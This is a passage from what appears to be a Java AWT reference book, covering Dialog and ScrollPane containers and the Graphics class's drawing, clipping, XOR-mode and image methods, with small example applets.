A Dialog is a Window that accepts input from the user. BorderLayout is the default layout of Dialog because it subclasses Window. A Dialog is a pop-up used for user interaction; it can be modal to prevent the user from doing anything with the application before responding. A FileDialog provides a prebuilt Dialog box that interacts with the filesystem. It implements the Open/Save dialog provided by the native windowing system. You will primarily use FileDialog with applications since there is no guarantee that an applet can interact with the local filesystem. (Netscape Navigator will throw an exception if you try to use it.) The details of Dialog are revealed in Dialogs, while FileDialog is discussed in FileDialog. Figure 1.19 shows sample Dialog and FileDialog boxes.

Figure 1.19: Examples of Dialog and FileDialog boxes

[Graphic: Figure 1-19]

ScrollPane

Java 1.1 introduces the ScrollPane container. In version 1.0, if you want to have a scrolling area (for example, to display an image that won't fit onto the screen), you create a panel using BorderLayout that contains scrollbars on the right and bottom, and display part of the image in the rest of the screen. When the user scrolls, you capture the event, figure out what part of the image to display, and update the screen accordingly. Although this works, its performance is poor, and it's inconvenient. With version 1.1 of Java, you can tell the ScrollPane what needs to scroll; it creates the scrollbars and handles all the events automatically. ScrollPane covers the ScrollPane; Figure 1.20 shows a ScrollPane. Chapter 11, Scrolling, covers the Adjustable interface that Scrollbar implements and ScrollPane utilizes.

Figure 1.20: A ScrollPane

[Graphic: Figure 1-20]

Previous | Home | Next
Layouts | Book Index | And the Rest
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.5 And the Rest

Previous Chapter 1
Abstract Window Toolkit Overview 		Next

1.5 And the Rest

Several of the remaining classes within java.awt are important to mention here but did not fit well into a general category. The following sections are a grab bag that summarize the remaining classes.

Drawing and Graphics

Java provides numerous primitives for drawing lines, squares, circles, polygons, and images. Figure 1.21 shows a simple drawing. The drawing components of AWT are discussed in Chapter 2, Simple Graphics.

The Font, FontMetrics, Color, and SystemColor classes provide the ability to alter the displayed output. With the Font class, you adjust how displayed text will appear. With FontMetrics, you can find out how large the output will be, for the specific system the user is using. You can use the Color class to set the color of text and graphics. SystemColor is new to Java 1.1; it lets you take advantage of desktop color schemes. These classes are discussed in Chapter 3, Fonts and Colors.

Figure 1.21: A simple drawing

[Graphic: Figure 1-21]

AWT also includes a number of classes that support more complex graphics manipulations: displaying images, generating images in memory, and transforming images. These classes make up the package java.awt.image, which is covered in Chapter 12, Image Processing.

Events

Like most windows programming environments, AWT is event driven. When an event occurs (for example, the user presses a key or moves the mouse), the environment generates an event and passes it along to a handler to process the event. If nobody wants to handle the event, the system ignores it. Unlike some windowing environments, you do not have to provide a main loop to catch and process all the events, or an infinite busy-wait loop. AWT does all the event management and passing for you.

Probably the most significant difference between versions 1.0.2 and 1.1 of AWT is the way events work. In older versions of Java, an event is distributed to every component that might conceivably be interested in it, until some component declares that it has handled the event. This event model can still be used in 1.1, but there is also a new event model in which objects listen for particular events. This new model is arguably a little more work for the programmer but promises to be much more efficient, because events are distributed only to objects that want to hear about them. It is also how JavaBeans works.

In this book, examples that are using the older (1.0.2) components use the old event model, unless otherwise indicated. Examples using new components use the new event model. Don't let this mislead you; all components in Java 1.1 support the new event model. The details of Event for both version 1.0.2 and 1.1 can be found in Chapter 4, Events.

Applets

Although it is not a part of the java.awt package, the Core Java API provides a framework for applet development. This includes support for getting parameters from HTML files, changing the web page a browser is displaying, and playing audio files. Chapter 14, And Then There Were Applets, describes all the details of the java.applet package. Because audio support is part of java.applet, portable audio playing is limited to applets. Chapter 14, And Then There Were Applets also shows a nonportable way to play audio in applications. Additional audio capabilities are coming to the Java Core API in the announced extensions.

Clipboards

In Java 1.1, programs can access the system clipboard. This process makes it easier to transfer (cut, copy, and paste) data between various other sources and your Java programs and introduces developers to the concepts involved with JavaBeans. Chapter 16, Data Transfer, describes the java.awt.datatransfer package.

Printing

Java 1.1 adds the ability to print. Adding printing to an existing program is fairly simple: you don't have to do much beside adding a Print menu button. Chapter 17, Printing, describes these capabilities.

Previous | Home | Next
Containers | Book Index | Summary
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.6 Summary

Previous Chapter 1
Abstract Window Toolkit Overview 		Next

1.6 Summary

The java.awt package provides a great deal of functionality and flexibility. The package goes well beyond the basics presented in this chapter. Do not be intimidated by the vast libraries available to you in Java. With the help of this book, you should get an excellent grasp of the java.awt, java.awt.image, java.awt.datatransfer, java.awt.event, and java.applet packages, along with some pieces of the proprietary sun.awt and sun.audio packages.

Do not feel the need to read this book cover to cover. Pick the section that interests you most, where you feel you do not fully understand something, or where you have an immediate question to be answered and dive right in.

Previous | Home | Next
And the Rest | Book Index | Simple Graphics
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] Simple Graphics

Previous Chapter 2 Next

2. Simple Graphics

Contents:
Graphics
Point
Dimension
Shape
Rectangle
Polygon
Image
MediaTracker

This chapter digs into the meat of the AWT classes. After completing this chapter, you will be able to draw strings, images, and shapes via the Graphics class in your Java programs. We discuss geometry-related classes--Polygon, Rectangle, Point, and Dimension, and the Shape interface--you will see these throughout the remaining AWT objects. You will also learn several ways to do smooth animation by using double buffering and the MediaTracker.

After reading this chapter, you should be able to do simple animation and image manipulation with AWT. For most applications, this should be sufficient. If you want to look at AWT's more advanced graphics capabilities, be sure to take a look at Chapter 12, Image Processing.

2.1 Graphics

The Graphics class is an abstract class that provides the means to access different graphics devices. It is the class that lets you draw on the screen, display images, and so forth. Graphics is an abstract class because working with graphics requires detailed knowledge of the platform on which the program runs. The actual work is done by concrete classes that are closely tied to a particular platform. Your Java Virtual Machine vendor provides the necessary concrete classes for your environment. You never need to worry about the platform-specific classes; once you have a Graphics object, you can call all the methods of the Graphics class, confident that the platform-specific classes will work correctly wherever your program runs.

You rarely need to create a Graphics object yourself; its constructor is protected and is only called by the subclasses that extend Graphics. How then do you get a Graphics object to work with? The sole parameter of the Component.paint() and Component.update() methods is the current graphics context. Therefore, a Graphics object is always available when you override a component's paint() and update() methods. You can ask for the graphics context of a Component by calling Component.getGraphics(). However, many components do not have a drawable graphics context. Canvas and Container objects return a valid Graphics object; whether or not any other component has a drawable graphics context depends on the run-time environment. (The latest versions of Netscape Navigator provide a drawable graphics context for any component, but you shouldn't get used to writing platform-specific code.) This restriction isn't as harsh as it sounds. For most components, a drawable graphics context doesn't make much sense; for example, why would you want to draw on a List? If you want to draw on a component, you probably can't. The notable exception is Button, and that may be fixed in future versions of AWT.

Graphics Methods

Constructors

protected Graphics ()

Because Graphics is an abstract class, it doesn't have a visible constructor. The way to get a Graphics object is to ask for one by calling getGraphics() or to use the one given to you by the Component.paint() or Component.update() method.

The abstract methods of the Graphics class are implemented by some windowing system-specific class. You rarely need to know which subclass of Graphics you are using, but the classes you actually get (if you are using the JDK) are sun.awt.win32.Win32Graphics ( JDK1.0), sun.awt.window.WGraphics ( JDK1.1), sun.awt.motif.X11Graphics, or sun.awt.macos.MacGraphics. Pseudo-constructors

In addition to using the graphics contexts given to you by getGraphics() or in Component.paint(), you can get a Graphics object by creating a copy of another Graphics object. Creating new graphics contexts has resource implications. Certain platforms have a limited number of graphics contexts that can be active. For instance, on Windows 95 you cannot have more than four in use at one time. Therefore, it's a good idea to call dispose() as soon as you are done with a Graphics object. Do not rely on the garbage collector to clean up for you.

public abstract Graphics create ()

This method creates a second reference to the graphics context. It is useful for clipping (reducing the drawable area).

public Graphics create (int x, int y, int width, int height)

This method creates a second reference to a subset of the drawing area of the graphics context. The new Graphics object covers the rectangle from (x, y) through (x+width-1, y+height-1) in the original object. The coordinate space of the new Graphics context is translated so that the upper left corner is (0, 0) and the lower right corner is (width, height). Shifting the coordinate system of the new object makes it easier to work within a portion of the drawing area without using offsets.

Drawing strings

These methods let you draw text strings on the screen. The coordinates refer to the left end of the text's baseline.

public abstract void drawString (String text, int x, int y)

The drawString() method draws text on the screen in the current font and color, starting at position (x, y). The starting coordinates specify the left end of the String's baseline.

public void drawChars (char text[], int offset, int length, int x, int y)

The drawChars() method creates a String from the char array text starting at text[offset] and continuing for length characters. The newly created String is then drawn on the screen in the current font and color, starting at position (x, y). The starting coordinates specify the left end of the String's baseline.

public void drawBytes (byte text[], int offset, int length, int x, int y)

The drawBytes() method creates a String from the byte array text starting at text[offset] and continuing for length characters. This String is then drawn on the screen in the current font and color, starting at position (x, y). The starting coordinates specify the left end of the String's baseline.

public abstract Font getFont ()

The getFont() method returns the current Font of the graphics context. See Chapter 3, Fonts and Colors, for more on what you can do with fonts. You cannot get meaningful results with getFont() until the applet or application is displayed on the screen (generally, not in init() of an applet or main() of an application).

public abstract void setFont (Font font)

The setFont() method changes the current Font to font. If font is not available on the current platform, the system chooses a default. To change the current font to 12 point bold TimesRoman:

setFont (new Font ("TimesRoman", Font.BOLD, 12));

public FontMetrics getFontMetrics ()

The getFontMetrics() method returns the current FontMetrics object of the graphics context. You use FontMetrics to reveal sizing properties of the current Font--for example, how wide the "Hello World" string will be in pixels when displayed on the screen.

public abstract FontMetrics getFontMetrics (Font font)

This version of getFontMetrics() returns the FontMetrics for the Font font instead of the current font. You might use this method to see how much space a new font requires to draw text.

For more information about Font and FontMetrics, see Chapter 3, Fonts and Colors. Painting

public abstract Color getColor ()

The getColor() method returns the current foreground Color of the Graphics object. All future drawing operations will use this color. Chapter 3, Fonts and Colors describes the Color class.

public abstract void setColor (Color color)

The setColor() method changes the current drawing color to color. As you will see in the next chapter, the Color class defines some common colors for you. If you can't use one of the predefined colors, you can create a color from its RGB values. To change the current color to red, use any of the following:

setColor (Color.red);
setColor (new Color (255, 0, 0));
setColor (new Color (0xff0000));

public abstract void clearRect (int x, int y, int width, int height)

The clearRect() method sets the rectangular drawing area from (x, y) to (x+width-1, y+height-1) to the current background color. Keep in mind that the second pair of parameters is not the opposite corner of the rectangle, but the width and height of the area to clear.

public abstract void clipRect (int x, int y, int width, int height)

The clipRect() method reduces the drawing area to the intersection of the current drawing area and the rectangular area from (x, y) to (x+width-1, y+height-1). Any future drawing operations outside this clipped area will have no effect. Once you clip a drawing area, you cannot increase its size with clipRect(); the drawing area can only get smaller. (However, if the clipRect() call is in paint(), the size of the drawing area will be reset to its original size on subsequent calls to paint().) If you want the ability to draw to the entire area, you must create a second Graphics object that contains a copy of the drawing area before calling clipRect() or use setClip(). The following code is a simple applet that demonstrates clipping; Figure 2.1 shows the result.

import java.awt.*;
public class clipping extends java.applet.Applet {
    public void paint (Graphics g) {
        g.setColor (Color.red);
        Graphics clippedGraphics = g.create();
        clippedGraphics.drawRect (0,0,100,100);
        clippedGraphics.clipRect (25, 25, 50, 50);
        clippedGraphics.drawLine (0,0,100,100);
        clippedGraphics.dispose();
        clippedGraphics=null;
        g.drawLine (0,100,100,0);
    }
}

Figure 2.1: Clipping restricts the drawing area

[Graphic: Figure 2-1]

The paint() method for this applet starts by setting the foreground color to red. It then creates a copy of the Graphics context for clipping, saving the original object so it can draw on the entire screen later. The applet then draws a rectangle, sets the clipping area to a smaller region, and draws a diagonal line across the rectangle from upper left to lower right. Because clipping is in effect, only part of the line is displayed. The applet then discards the clipped Graphics object and draws an unclipped line from lower left to upper right using the original object g.

public abstract void setClip(int x, int y, int width, int height) (New)

This setClip() method allows you to change the current clipping area based on the parameters provided. setClip() is similar to clipRect(), except that it is not limited to shrinking the clipping area. The current drawing area becomes the rectangular area from (x, y) to (x+width-1, y+height-1); this area may be larger than the previous drawing area.

public abstract void setClip(Shape clip) (New)

This setClip() method allows you to change the current clipping area based on the clip parameter, which may be any object that implements the Shape interface. Unfortunately, practice is not as good as theory, and in practice, clip must be a Rectangle; if you pass setClip() a Polygon, it throws an IllegalArgumentException.[1] (The Shape interface is discussed later in this chapter.)

[1] It should be simple for Sun to fix this bug; one would expect clipping to a Polygon to be the same as clipping to the Polygon's bounding rectangle.

public abstract Rectangle getClipBounds () (New)
public abstract Rectangle getClipRect () (Deprecated)

The getClipBounds() methods returns a Rectangle that describes the clipping area of a Graphics object. The Rectangle gives you the (x, y) coordinates of the top left corner of the clipping area along with its width and height. (Rectangle objects are discussed later in this chapter.)

getClipRect() is the Java 1.0 name for this method.

public abstract Shape getClip () (New)

The getClip() method returns a Shape that describes the clipping area of a Graphics object. That is, it returns the same thing as getClipBounds() but as a Shape, instead of as a Rectangle. By calling Shape.getBounds(), you can get the (x, y) coordinates of the top left corner of the clipping area along with its width and height. In the near future, it is hard to imagine the actual object that getClip() returns being anything other than a Rectangle.

public abstract void copyArea (int x, int y, int width, int height, int delta_x, int delta_y)

The copyArea() method copies the rectangular area from (x, y) to (x+width, y+height) to the area with an upper left corner of (x+delta_x, y+delta_y). The delta_x and delta_y parameters are not the coordinates of the second point but an offset from the first coordinate pair (x, y). The area copied may fall outside of the clipping region. This method is often used to tile an area of the graphics context. copyArea() does not save the contents of the area copied.

Painting mode

There are two painting or drawing modes for the Graphics class: paint (the default) and XOR mode. In paint mode, anything you draw replaces whatever is already on the screen. If you draw a red square, you get a red square, no matter what was underneath; this is what most programmers have learned to expect.

The behavior of XOR mode is rather strange, at least to people accustomed to modern programming environments. XOR mode is short for eXclusive-OR mode. The idea behind XOR mode is that drawing the same object twice returns the screen to its original state. This technique was commonly used for simple animations prior to the development of more sophisticated methods and cheaper hardware.

The side effect of XOR mode is that painting operations don't necessarily get the color you request. Instead of replacing the original pixel with the new value, XOR mode merges the original color, the painting color, and an XOR color (usually the background color) to form a new color. The new color is chosen so that if you repaint the pixel with the same color, you get the original pixel back. For example, if you paint a red square in XOR mode, you get a square of some other color on the screen. Painting the same red square again returns the screen to its original state.

public abstract void setXORMode (Color xorColor)

The setXORMode() method changes the drawing mode to XOR mode. In XOR mode, the system uses the xorColor color to determine an alternate color for anything drawn such that drawing the same item twice restores the screen to its original condition. The xorColor is usually the current background color but can be any color. For each pixel, the new color is determined by an exclusive-or of the old pixel color, the painting color, and the xorColor.

For example, if the old pixel is red, the XOR color is blue, and the drawing color is green, the end result would be white. To see why, it is necessary to look at the RGB values of the three colors. Red is (255, 0, 0). Blue is (0, 0, 255). Green is (0, 255, 0). The exclusive-or of these three values is (255, 255, 255), which is white. Drawing another green pixel with a blue XOR color yields red, the pixel's original color, since (255, 255, 255) ^ (0, 0, 255) ^ (0, 255, 0) yields (255, 0, 0).[2] The following code generates the display shown in Figure 2.2.

[2] ^ is the Java XOR operator.

import java.awt.*;
public class xor extends java.applet.Applet {
    public void init () {
        setBackground (Color.red);
    }
    public void paint (Graphics g) {
        g.setColor (Color.green);
        g.setXORMode (Color.blue);
        g.fillRect (10, 10, 100, 100);
        g.fillRect (10, 60, 100, 100);
    }
}

Figure 2.2: Drawing in XOR mode

[Graphic: Figure 2-2]

Although it's hard to visualize what color XOR mode will pick, there is one important special case. Let's say that there are only two colors: a background color (the XOR color) and a foreground color (the painting color). Each pixel must be in one color or the other. Painting "flips" each pixel to the other color. Foreground pixels become background, and vice versa.

public abstract void setPaintMode ()

The setPaintMode() method puts the system into paint mode. When in paint mode, any drawing operation replaces whatever is underneath it. Call setPaintMode() to return to normal painting when finished with XOR mode.

Drawing shapes

Most of the drawing methods require you to specify a bounding rectangle for the object you want to draw: the location of the object's upper left corner, plus its width and height. The two exceptions are lines and polygons. For lines, you supply two endpoints; for polygons, you provide a set of points.

Versions 1.0.2 and 1.1 of AWT always draw solid lines that are one pixel wide; there is no support for line width or fill patterns. A future version should support lines with variable widths and patterns.

public abstract void drawLine (int x1, int y1, int x2, int y2)

The drawLine() method draws a line on the graphics context in the current color from (x1, y1) to (x2, y2). If (x1, y1) and (x2, y2) are the same point, you will draw a point. There is no method specific to drawing a point. The following code generates the display shown in Figure 2.3.

g.drawLine (5, 5, 50, 75);   // line
g.drawLine (5, 75, 5, 75);   // point
g.drawLine (50, 5, 50, 5);   // point

Figure 2.3: Drawing lines and points with drawLine()

[Graphic: Figure 2-3]

public void drawRect (int x, int y, int width, int height)

The drawRect() method draws a rectangle on the drawing area in the current color from (x, y) to (x+width, y+height). If width or height is negative, nothing is drawn.

public abstract void fillRect (int x, int y, int width, int height)

The fillRect() method draws a filled rectangle on the drawing area in the current color from (x, y) to (x+width-1, y+height-1). Notice that the filled rectangle is one pixel smaller to the right and bottom than requested. If width or height is negative, nothing is drawn.

public abstract void drawRoundRect (int x, int y, int width, int height, int arcWidth, int arcHeight)

The drawRoundRect() method draws a rectangle on the drawing area in the current color from (x, y) to (x+width, y+height). However, instead of perpendicular corners, the corners are rounded with a horizontal diameter of arcWidth and a vertical diameter of arcHeight. If width or height is a negative number, nothing is drawn. If width, height, arcWidth, and arcHeight are all equal, you get a circle.

To help you visualize the arcWidth and arcHeight of a rounded rectangle, Figure 2.4 shows one corner of a rectangle drawn with an arcWidth of 20 and a arcHeight of 40.

Figure 2.4: Drawing rounded corners

[Graphic: Figure 2-4]

public abstract void fillRoundRect (int x, int y, int width, int height, int arcWidth, int arcHeight)

The fillRoundRect() method draws a filled rectangle on the drawing area in the current color from (x, y) to (x+width-1, y+height-1). However, instead of having perpendicular corners, the corners are rounded with a horizontal diameter of arcWidth and a vertical diameter of arcHeight for the four corners. Notice that the filled rectangle is one pixel smaller to the right and bottom than requested. If width or height is a negative number, nothing is filled. If width, height, arcWidth, and arcHeight are all equal, you get a filled circle.

Figure 2.4 shows how AWT generates rounded corners. Figure 2.5 shows the collection of rectangles created by the following code. The rectangles in Figure 2.5 are filled and unfilled, with rounded and square corners.

g.drawRect (25, 10, 50, 75);
g.fillRect (25, 110, 50, 75);
g.drawRoundRect (100, 10, 50, 75, 60, 50);
g.fillRoundRect (100, 110, 50, 75, 60, 50);

Figure 2.5: Varieties of rectangles

[Graphic: Figure 2-5]

public void draw3DRect (int x, int y, int width, int height, boolean raised)

The draw3DRect() method draws a rectangle in the current color from (x, y) to (x+width, y+height); a shadow effect makes the rectangle appear to float slightly above or below the screen. The raised parameter has an effect only if the current color is not black. If raised is true, the rectangle looks like a button waiting to be pushed. If raised is false, the rectangle looks like a depressed button. If width or height is negative, the shadow appears from another direction.

public void fill3DRect (int x, int y, int width, int height, boolean raised)

The fill3DRect() method draws a filled rectangle in the current color from (x, y) to (x+width, y+height); a shadow effect makes the rectangle appear to float slightly above or below the screen. The raised parameter has an effect only if the current color is not black. If raised is true, the rectangle looks like a button waiting to be pushed. If raised is false, the rectangle looks like a depressed button. To enhance the shadow effect, the depressed area is given a slightly deeper shade of the drawing color. If width or height is negative, the shadow appears from another direction, and the rectangle isn't filled. (Different platforms could deal with this differently. Try to ensure the parameters have positive values.)

Figure 2.6 shows the collection of three-dimensional rectangles created by the following code. The rectangles in the figure are raised and depressed, filled and unfilled.

g.setColor (Color.gray);
g.draw3DRect (25, 10, 50, 75, true);
g.draw3DRect (25, 110, 50, 75, false);
g.fill3DRect (100, 10, 50, 75, true);
g.fill3DRect (100, 110, 50, 75, false);

Figure 2.6: Filled and unfilled 3D rectangles

[Graphic: Figure 2-6]

public abstract void drawOval (int x, int y, int width, int height)

The drawOval() method draws an oval in the current color within an invisible bounding rectangle from (x, y) to (x+width, y+height). You cannot specify the oval's center point and radii. If width and height are equal, you get a circle. If width or height is negative, nothing is drawn.

public abstract void fillOval (int x, int y, int width, int height)

The fillOval() method draws a filled oval in the current color within an invisible bounding rectangle from (x, y) to (x+width-1, y+height-1). You cannot specify the oval's center point and radii. Notice that the filled oval is one pixel smaller to the right and bottom than requested. If width or height is negative, nothing is drawn.

Figure 2.7 shows the collection of ovals, filled and unfilled, that were generated by the following code:

g.drawOval (25, 10, 50, 75);
g.fillOval (25, 110, 50, 75);
g.drawOval (100, 10, 50, 50);
g.fillOval (100, 110, 50, 50);

Figure 2.7: Filled and unfilled ovals

[Graphic: Figure 2-7]

public abstract void drawArc (int x, int y, int width, int height, int startAngle, int arcAngle)

The drawArc() method draws an arc in the current color within an invisible bounding rectangle from (x, y) to (x+width, y+height). The arc starts at startAngle degrees and goes to startAngle + arcAngle degrees. An angle of 0 degrees is at the 3 o'clock position; angles increase counter-clockwise. If arcAngle is negative, drawing is in a clockwise direction. If width and height are equal and arcAngle is 360 degrees, drawArc() draws a circle. If width or height is negative, nothing is drawn.

public abstract void fillArc (int x, int y, int width, int height, int startAngle, int arcAngle)

The fillArc() method draws a filled arc in the current color within an invisible bounding rectangle from (x, y) to (x+width-1, y+height-1). The arc starts at startAngle degrees and goes to startAngle + arcAngle degrees. An angle of 0 degrees is at the 3 o'clock position; angles increase counter-clockwise. If arcAngle is negative, drawing is in a clockwise direction. The arc fills like a pie (to the origin), not from arc endpoint to arc endpoint. This makes creating pie charts easier. If width and height are equal and arcAngle is 360 degrees, fillArc() draws a filled circle. If width or height is negative, nothing is drawn.

Figure 2.8 shows a collection of filled and unfilled arcs that were generated by the following code:

g.drawArc (25, 10, 50, 75, 0, 360);
g.fillArc (25, 110, 50, 75, 0, 360);
g.drawArc (100, 10, 50, 75, 45, 215);
g.fillArc (100, 110, 50, 75, 45, 215);

Figure 2.8: Filled and unfilled arcs

[Graphic: Figure 2-8]

public void drawPolygon (Polygon p)

The drawPolygon() method draws a path for the points in polygon p in the current color. Polygon discusses the Polygon class in detail.

The behavior of drawPolygon() changes slightly between Java 1.0.2 and 1.1. With version 1.0.2, if the first and last points of a Polygon are not the same, a call to drawPolygon() results in an open polygon, since the endpoints are not connected for you. Starting with version 1.1, if the first and last points are not the same, the endpoints are connected for you.

public abstract void drawPolygon (int xPoints[], int yPoints[], int numPoints)

The drawPolygon() method draws a path of numPoints nodes by plucking one element at a time out of xPoints and yPoints to make each point. The path is drawn in the current color. If either xPoints or yPoints does not have numPoints elements, drawPolygon() throws a run-time exception. In 1.0.2, this exception is an IllegalArgumentException; in 1.1, it is an ArrayIndexOutOfBoundsException. This change shouldn't break older programs, since you are not required to catch run-time exceptions.

public abstract void drawPolyline (int xPoints[], int yPoints[], int numPoints) (New)

The drawPolyline() method functions like the 1.0 version of drawPolygon(). It plays connect the dots with the points in the xPoints and yPoints arrays and does not connect the endpoints. If either xPoints or yPoints does not have numPoints elements, drawPolygon() throws the run-time exception, ArrayIndexOutOfBoundsException.

Filling polygons is a complex topic. It is not as easy as filling rectangles or ovals because a polygon may not be closed and its edges may cross. AWT uses an even-odd rule to fill polygons. This algorithm works by counting the number of times each scan line crosses an edge of the polygon. If the total number of crossings to the left of the current point is odd, the point is colored. If it is even, the point is left alone. Figure 2.9 demonstrates this algorithm for a single scan line that intersects the polygon at x values of 25, 75, 125, 175, 225, and 275.

Figure 2.9: Polygon fill algorithm

[Graphic: Figure 2-9]

The scan line starts at the left edge of the screen; at this point there haven't been any crossings, so the pixels are left untouched. The scan line reaches the first crossing when x equals 25. Here, the total number of crossings to the left is one, so the scan line is inside the polygon, and the pixels are colored. At 75, the scan line crosses again; the total number of crossings is two, so coloring stops.

public void fillPolygon (Polygon p)

The fillPolygon() method draws a filled polygon for the points in Polygon p in the current color. If the polygon is not closed, fillPolygon() adds a segment connecting the endpoints. Polygon discusses the Polygon class in detail.

public abstract void fillPolygon (int xPoints[], int yPoints[], int nPoints)

The fillPolygon() method draws a polygon of numPoints nodes by plucking one element at a time out of xPoints and yPoints to make each point. The polygon is drawn in the current color. If either xPoints or yPoints does not have numPoints elements, fillPolygon() throws the run-time exception IllegalArgumentException. If the polygon is not closed, fillPolygon() adds a segment connecting the endpoints.[3]

[3] In Java 1.1, this method throws ArrayIndexOutOfBoundsException, not IllegalArgumentException.

Figure 2.10 shows several polygons created by the following code, containing different versions of drawPolygon() and fillPolygon():

int[] xPoints[] = {{50, 25, 25, 75, 75},
                   {50, 25, 25, 75, 75},
                   {100, 100, 150, 100, 150, 150, 125, 100, 150},
                   {100, 100, 150, 100, 150, 150, 125, 100, 150}};
int[] yPoints[] = {{10, 35, 85, 85, 35, 10},
                   {110, 135, 185, 185, 135},
                   {85, 35, 35, 85, 85, 35, 10, 35, 85},
                   {185, 135, 135, 185, 185, 135, 110, 135, 185}};
int   nPoints[] = {5, 5, 9, 9};
g.drawPolygon (xPoints[0], yPoints[0], nPoints[0]);
g.fillPolygon (xPoints[1], yPoints[1], nPoints[1]);
g.drawPolygon (new Polygon(xPoints[2], yPoints[2], nPoints[2]));
g.fillPolygon (new Polygon(xPoints[3], yPoints[3], nPoints[3]));

Figure 2.10: Filled and unfilled polygons

[Graphic: Figure 2-10]

Drawing images

An Image is a displayable object maintained in memory. To get an image on the screen, you must draw it onto a graphics context, using the drawImage() method of the Graphics class. For example, within a paint() method, you would call g.drawImage(image, ... , this) to display some image on the screen. In other situations, you might use the createImage() method to generate an offscreen Graphics object, then use drawImage() to draw an image onto this object, for display later.

This begs the question: where do images come from? We will have more to say about the Image class later in this chapter. For now, it's enough to say that you can call getImage() to load an image from disk or across the Net. There are versions of getImage() in the Applet and Toolkit classes; the latter is for use in applications. You can also call createImage(), a method of the Component class, to generate an image in memory.

What about the last argument to drawImage()? What is this for? The last argument of drawImage() is always an image observer--that is, an object that implements the ImageObserver interface. This interface is discussed in detail in Chapter 12, Image Processing. For the time being, it's enough to say that the call to drawImage() starts a new thread that loads the requested image. An image observer monitors the process of loading an image; the thread that is loading the image notifies the image observer whenever new data has arrived. The Component class implements the ImageObserver interface; when you're writing a paint() method, you're almost certainly overriding some component's paint() method; therefore, it's safe to use this as the image observer in a call to drawImage(). More simply, we could say that any component can serve as an image observer for images that are drawn on it.

public abstract boolean drawImage (Image image, int x, int y, ImageObserver observer)

The drawImage() method draws image onto the screen with its upper left corner at (x, y), using observer as its ImageObserver. Returns true if the object is fully drawn, false otherwise.

public abstract boolean drawImage (Image image, int x, int y, int width, int height, ImageObserver observer)

The drawImage() method draws image onto the screen with its upper left corner at (x, y), using observer as its ImageObserver. The system scales image to fit into a width x height area. The scaling may take time. This method returns true if the object is fully drawn, false otherwise.

With Java 1.1, you don't need to use drawImage() for scaling; you can prescale the image with the Image.getScaledInstance() method, then use the previous version of drawImage().

public abstract boolean drawImage (Image image, int x, int y, Color backgroundColor, ImageObserver observer)

The drawImage() method draws image onto the screen with its upper left corner at (x, y), using observer as its ImageObserver. backgroundColor is the color of the background seen through the transparent parts of the image. If no part of the image is transparent, you will not see backgroundColor. Returns true if the object is fully drawn, false otherwise.

public abstract boolean drawImage (Image image, int x, int y, int width, int height, Color backgroundColor, ImageObserver observer)

The drawImage() method draws image onto the screen with its upper left corner at (x, y), using observer as its ImageObserver. backgroundColor is the color of the background seen through the transparent parts of the image. The system scales image to fit into a width x height area. The scaling may take time. This method returns true if the image is fully drawn, false otherwise.

With Java 1.1, you can prescale the image with the AreaAveragingScaleFilter or ReplicateScaleFilter described in Chapter 12, Image Processing, then use the previous version of drawImage() to display it.

The following code generated the images in Figure 2.11. The images on the left come from a standard JPEG file. The images on the right come from a file in GIF89a format, in which the white pixel is "transparent." Therefore, the gray background shows through this pair of images.

import java.awt.*;
import java.applet.*;
public class drawingImages extends Applet {
    Image i, j;
    public void init () {
        i = getImage (getDocumentBase(), "rosey.jpg");
        j = getImage (getDocumentBase(), "rosey.gif");
    }
    public void paint (Graphics g) {
        g.drawImage (i, 10, 10, this);
        g.drawImage (i, 10, 85, 150, 200, this);
        g.drawImage (j, 270, 10, Color.lightGray, this);
        g.drawImage (j, 270, 85, 150, 200, Color.lightGray, this);
    }
}

Figure 2.11: Scaled and unscaled images

[Graphic: Figure 2-11]

public abstract boolean drawImage(Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, ImageObserver observer) (New)

The drawImage() method draws a portion of image onto the screen. It takes the part of the image with corners at (sx1, sy1) and (sx2, sy2); it places this rectangular snippet on the screen with one corner at (dx1, dy1) and another at (dx2, dy2), using observer as its ImageObserver. (Think of d for destination location and s for source image.) This method returns true if the object is fully drawn, false otherwise.

drawImage() flips the image if source and destination endpoints are not the same corners, crops the image if the destination is smaller than the original size, and scales the image if the destination is larger than the original size. It does not do rotations, only flips (i.e., it can produce a mirror image or an image rotated 180 degrees but not an image rotated 90 or 270 degrees).

public abstract boolean drawImage(Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, Color backgroundColor, ImageObserver observer) (New)

The drawImage() method draws a portion of image onto the screen. It takes the part of the image with corners at (sx1, sy1) and (sx2, sy2); it places this rectangular snippet on the screen with one corner at (dx1, dy1) and another at (dx2, dy2), using observer as its ImageObserver. (Think of d for destination location and s for source image.) backgroundColor is the color of the background seen through the transparent parts of the image. If no part of the image is transparent, you will not see backgroundColor. This method returns true if the object is fully drawn, false otherwise.

Like the previous version of drawImage(), this method flips the image if source and destination endpoints are not the same corners, crops the image if the destination is smaller than the original size, and scales the image if the destination is larger than the original size. It does not do rotations, only flips (i.e., it can produce a mirror image or an image rotated 180 degrees but not an image rotated 90 or 270 degrees).

The following code demonstrates the new drawImage() methods in Java 1.1. They allow you to scale, flip, and crop images without the use of image filters. The results are shown in Figure 2.12.

// Java 1.1 only
import java.awt.*;
import java.applet.*;
public class drawingImages11 extends Applet {
    Image i, j;
    public void init () {
        i = getImage (getDocumentBase(), "rosey.gif");
    }
    public void paint (Graphics g) {
        g.drawImage (i, 10, 10, this);
        g.drawImage (i, 10, 85,
                     i.getWidth(this)+10, i.getHeight(this)+85,
                     i.getWidth(this), i.getHeight(this), 0, 0, this);
        g.drawImage (i, 270, 10,
                     i.getWidth(this)+270, i.getHeight(this)*2+10, 0, 0,
                     i.getWidth(this), i.getHeight(this), Color.gray, this);
        g.drawImage (i, 10, 170,
                     i.getWidth(this)*2+10, i.getHeight(this)+170, 0,
                     i.getHeight(this)/2, i.getWidth(this)/2, 0, this);
    }
}

Figure 2.12: Flipped, mirrored, and cropped images

[Graphic: Figure 2-12]

Miscellaneous methods

public abstract void translate (int x, int y)

The translate() method sets how the system translates the coordinate space for you. The point at the (x, y) coordinates becomes the origin of this graphics context. Any future drawing will be relative to this location. Multiple translations are cumulative. The following code leaves the coordinate system translated by (100, 50).

translate (100, 0);
